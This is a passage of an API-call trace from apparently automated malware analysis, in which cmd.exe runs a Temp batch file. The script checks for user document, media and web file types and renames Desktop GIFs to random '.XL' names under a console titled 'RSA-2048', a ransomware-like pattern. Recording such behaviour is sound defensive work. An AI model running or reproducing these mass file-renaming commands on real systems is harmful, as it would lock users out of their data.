lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9ed [0039.278] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.278] GetFileType (hFile=0x74) returned 0x1 [0039.278] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9ed [0039.278] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.278] SetFilePointer (in: hFile=0x74, lDistanceToMove=2569, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa09 [0039.278] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.docx goto l\r\n\r\n") returned 28 [0039.278] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.278] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa09 [0039.278] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.278] GetFileType (hFile=0x74) returned 0x1 [0039.278] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa09 [0039.279] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.279] SetFilePointer (in: hFile=0x74, lDistanceToMove=2596, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa24 [0039.279] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.doc goto l\r\n\n") returned 27 [0039.279] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.279] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa24 [0039.279] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.279] GetFileType (hFile=0x74) returned 0x1 [0039.279] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa24 [0039.279] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.279] SetFilePointer (in: hFile=0x74, lDistanceToMove=2623, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa3f [0039.279] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.mp4 goto l\r\n") returned 27 [0039.279] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.279] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa3f [0039.279] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.279] GetFileType (hFile=0x74) returned 0x1 [0039.279] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa3f [0039.279] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.279] SetFilePointer (in: hFile=0x74, lDistanceToMove=2650, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa5a [0039.279] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.mp3 goto l\r\n") returned 27 [0039.280] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.280] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa5a [0039.280] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.280] GetFileType (hFile=0x74) returned 0x1 [0039.280] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa5a [0039.280] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.280] SetFilePointer (in: hFile=0x74, lDistanceToMove=2677, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa75 [0039.280] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.wav goto l\r\n") returned 27 [0039.280] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.280] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa75 [0039.280] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.280] GetFileType (hFile=0x74) returned 0x1 [0039.280] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa75 [0039.280] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.280] SetFilePointer (in: hFile=0x74, lDistanceToMove=2704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa90 [0039.280] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.jpg goto l\r\n") returned 27 [0039.280] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.280] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa90 [0039.281] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.281] GetFileType (hFile=0x74) returned 0x1 [0039.281] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa90 [0039.281] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.281] SetFilePointer (in: hFile=0x74, lDistanceToMove=2731, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xaab [0039.281] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.png goto l\r\n") returned 27 [0039.281] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.281] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xaab [0039.281] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.281] GetFileType (hFile=0x74) returned 0x1 [0039.281] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xaab [0039.281] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.281] SetFilePointer (in: hFile=0x74, lDistanceToMove=2758, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xac6 [0039.281] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.htm goto l\r\n") returned 27 [0039.281] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.281] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xac6 [0039.281] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.281] GetFileType (hFile=0x74) returned 0x1 [0039.281] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xac6 [0039.281] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.281] SetFilePointer (in: hFile=0x74, lDistanceToMove=2786, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xae2 [0039.282] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.html goto l\r\n") returned 28 [0039.282] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.282] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xae2 [0039.282] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.282] GetFileType (hFile=0x74) returned 0x1 [0039.282] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xae2 [0039.282] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.282] SetFilePointer (in: hFile=0x74, lDistanceToMove=2792, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xae8 [0039.282] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":gif\r\n EXIST *.html goto l\r\n") returned 6 [0039.282] _close (_FileHandle=3) returned 0 [0039.282] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.282] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.283] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.283] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.284] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.284] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.284] SetConsoleInputExeNameW () returned 0x1 [0039.284] GetConsoleOutputCP () returned 0x1b5 [0039.284] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.284] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.284] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.284] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.285] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.285] SetFilePointer (in: hFile=0x74, lDistanceToMove=2792, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xae8 [0039.285] GetProcessHeap () returned 0x4e0000 [0039.285] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0039.285] GetProcessHeap () returned 0x4e0000 [0039.285] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5940 | out: hHeap=0x4e0000) returned 1 [0039.285] GetProcessHeap () returned 0x4e0000 [0039.285] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.285] GetProcessHeap () returned 0x4e0000 [0039.285] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.285] GetProcessHeap () returned 0x4e0000 [0039.285] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.285] GetProcessHeap () returned 0x4e0000 [0039.285] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.285] GetProcessHeap () returned 0x4e0000 [0039.285] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.285] GetProcessHeap () returned 0x4e0000 [0039.285] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.285] GetProcessHeap () returned 0x4e0000 [0039.285] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.285] GetProcessHeap () returned 0x4e0000 [0039.285] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.285] GetProcessHeap () returned 0x4e0000 [0039.285] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.285] GetProcessHeap () returned 0x4e0000 [0039.285] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.285] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.285] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xae8 [0039.286] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1b45, lpOverlapped=0x0) returned 1 [0039.286] SetFilePointer (in: hFile=0x74, lDistanceToMove=2818, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb02 [0039.286] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="RENAME *.gif %RANDOM%.XL\r\n\n") returned 26 [0039.286] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.286] GetFileType (hFile=0x74) returned 0x1 [0039.286] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.286] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb02 [0039.286] GetProcessHeap () returned 0x4e0000 [0039.286] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.286] GetProcessHeap () returned 0x4e0000 [0039.286] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x4008) returned 0x5078b8 [0039.286] GetProcessHeap () returned 0x4e0000 [0039.286] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f5880 [0039.286] GetEnvironmentVariableW (in: lpName="RANDOM", lpBuffer=0x4a610640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0039.286] _wcsicmp (_String1="RANDOM", _String2="CD") returned 15 [0039.286] _wcsicmp (_String1="RANDOM", _String2="ERRORLEVEL") returned 13 [0039.286] _wcsicmp (_String1="RANDOM", _String2="CMDEXTVERSION") returned 15 [0039.286] _wcsicmp (_String1="RANDOM", _String2="CMDCMDLINE") returned 15 [0039.286] _wcsicmp (_String1="RANDOM", _String2="DATE") returned 14 [0039.286] _wcsicmp (_String1="RANDOM", _String2="TIME") returned -2 [0039.286] _wcsicmp (_String1="RANDOM", _String2="RANDOM") returned 0 [0039.286] rand () returned 21278 [0039.286] _vsnwprintf (in: _Buffer=0x4a610640, _BufferCount=0x1fff, _Format="%d", _ArgList=0x41f464 | out: _Buffer="21278") returned 5 [0039.286] GetProcessHeap () returned 0x4e0000 [0039.287] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.287] GetProcessHeap () returned 0x4e0000 [0039.287] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5078b8 | out: hHeap=0x4e0000) returned 1 [0039.287] GetProcessHeap () returned 0x4e0000 [0039.287] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.287] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.287] GetProcessHeap () returned 0x4e0000 [0039.287] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f5880 [0039.287] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x28) returned 0x4f6080 [0039.287] _tell (_FileHandle=3) returned 2818 [0039.287] _close (_FileHandle=3) returned 0 [0039.287] _wcsicmp (_String1="RENAME", _String2="DIR") returned 14 [0039.287] _wcsicmp (_String1="RENAME", _String2="ERASE") returned 13 [0039.288] _wcsicmp (_String1="RENAME", _String2="DEL") returned 14 [0039.288] _wcsicmp (_String1="RENAME", _String2="TYPE") returned -2 [0039.288] _wcsicmp (_String1="RENAME", _String2="COPY") returned 15 [0039.288] _wcsicmp (_String1="RENAME", _String2="CD") returned 15 [0039.288] _wcsicmp (_String1="RENAME", _String2="CHDIR") returned 15 [0039.288] _wcsicmp (_String1="RENAME", _String2="RENAME") returned 0 [0039.288] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0039.288] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x48) returned 0x4f4a98 [0039.288] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4a98, Size=0x28) returned 0x4f4a98 [0039.288] GetProcessHeap () returned 0x4e0000 [0039.288] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x28 [0039.288] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x36) returned 0x4f4ac8 [0039.288] GetProcessHeap () returned 0x4e0000 [0039.288] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x48) returned 0x4f4b08 [0039.288] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4b08, Size=0x28) returned 0x4f4b08 [0039.288] GetProcessHeap () returned 0x4e0000 [0039.288] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b08) returned 0x28 [0039.288] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x2c) returned 0x4f4b38 [0039.288] GetProcessHeap () returned 0x4e0000 [0039.288] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x258) returned 0x4f6868 [0039.288] _wcsicmp (_String1="*.gif", _String2=".") returned -4 [0039.288] _wcsicmp (_String1="*.gif", _String2="..") returned -4 [0039.288] GetFileAttributesW (lpFileName="*.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\*.gif")) returned 0xffffffff [0039.289] GetLastError () returned 0x7b [0039.289] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x210) returned 0x4f6ac8 [0039.289] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4f6ad0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0039.289] GetFullPathNameW (in: lpFileName="*.gif", nBufferLength=0x104, lpBuffer=0x41e868, lpFilePart=0x41e850 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.gif", lpFilePart=0x41e850*="*.gif") returned 0x2b [0039.289] SetErrorMode (uMode=0x0) returned 0x1 [0039.289] GetProcessHeap () returned 0x4e0000 [0039.289] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x258) returned 0x4f6ce0 [0039.289] _wcsicmp (_String1="*.gif", _String2=".") returned -4 [0039.289] _wcsicmp (_String1="*.gif", _String2="..") returned -4 [0039.289] GetFileAttributesW (lpFileName="*.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\*.gif")) returned 0xffffffff [0039.289] GetLastError () returned 0x7b [0039.289] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.gif", fInfoLevelId=0x1, lpFindFileData=0x4f6870, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4f6870) returned 0x4f4b70 [0039.289] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ryl42lypqDW.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ryl42lypqdw.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\21278.XL" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\21278.xl")) returned 1 [0039.290] FindNextFileW (in: hFindFile=0x4f4b70, lpFindFileData=0x4f6870 | out: lpFindFileData=0x4f6870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbcca2f0, ftCreationTime.dwHighDateTime=0x1d5e581, ftLastAccessTime.dwLowDateTime=0x428e3a80, ftLastAccessTime.dwHighDateTime=0x1d5e51c, ftLastWriteTime.dwLowDateTime=0x428e3a80, ftLastWriteTime.dwHighDateTime=0x1d5e51c, nFileSizeHigh=0x0, nFileSizeLow=0x15db5, dwReserved0=0x0, dwReserved1=0x0, cFileName="XVy5iiiE8Qs49BGw.gif", cAlternateFileName="")) returned 1 [0039.290] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XVy5iiiE8Qs49BGw.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xvy5iiie8qs49bgw.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\21278.XL" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\21278.xl")) returned 0 [0039.290] GetLastError () returned 0xb7 [0039.290] _get_osfhandle (_FileHandle=2) returned 0xb [0039.290] GetFileType (hFile=0xb) returned 0x2 [0039.291] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0039.291] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x41e9f8 | out: lpMode=0x41e9f8) returned 1 [0039.291] _get_osfhandle (_FileHandle=2) returned 0xb [0039.291] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x41ea2c | out: lpConsoleScreenBufferInfo=0x41ea2c) returned 1 [0039.291] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x234d, dwLanguageId=0x0, lpBuffer=0x4a614640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="A duplicate file name exists, or the file\r\ncannot be found.\r\n") returned 0x3d [0039.292] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x234d, dwLanguageId=0x0, lpBuffer=0x4a614640, nSize=0x2000, Arguments=0x41ea6c | out: lpBuffer="A duplicate file name exists, or the file\r\ncannot be found.\r\n") returned 0x3d [0039.292] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x3d, lpNumberOfCharsWritten=0x41ea50, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41ea50*=0x3d) returned 1 [0039.292] FindNextFileW (in: hFindFile=0x4f4b70, lpFindFileData=0x4f6870 | out: lpFindFileData=0x4f6870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbcca2f0, ftCreationTime.dwHighDateTime=0x1d5e581, ftLastAccessTime.dwLowDateTime=0x428e3a80, ftLastAccessTime.dwHighDateTime=0x1d5e51c, ftLastWriteTime.dwLowDateTime=0x428e3a80, ftLastWriteTime.dwHighDateTime=0x1d5e51c, nFileSizeHigh=0x0, nFileSizeLow=0x15db5, dwReserved0=0x0, dwReserved1=0x0, cFileName="XVy5iiiE8Qs49BGw.gif", cAlternateFileName="")) returned 0 [0039.292] GetLastError () returned 0x12 [0039.292] FindClose (in: hFindFile=0x4f4b70 | out: hFindFile=0x4f4b70) returned 1 [0039.292] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.292] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.293] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.293] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.293] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.293] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.293] SetConsoleInputExeNameW () returned 0x1 [0039.293] GetConsoleOutputCP () returned 0x1b5 [0039.293] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.293] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.293] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.294] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.294] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.294] SetFilePointer (in: hFile=0x74, lDistanceToMove=2818, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb02 [0039.294] GetProcessHeap () returned 0x4e0000 [0039.294] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6ce0 | out: hHeap=0x4e0000) returned 1 [0039.294] GetProcessHeap () returned 0x4e0000 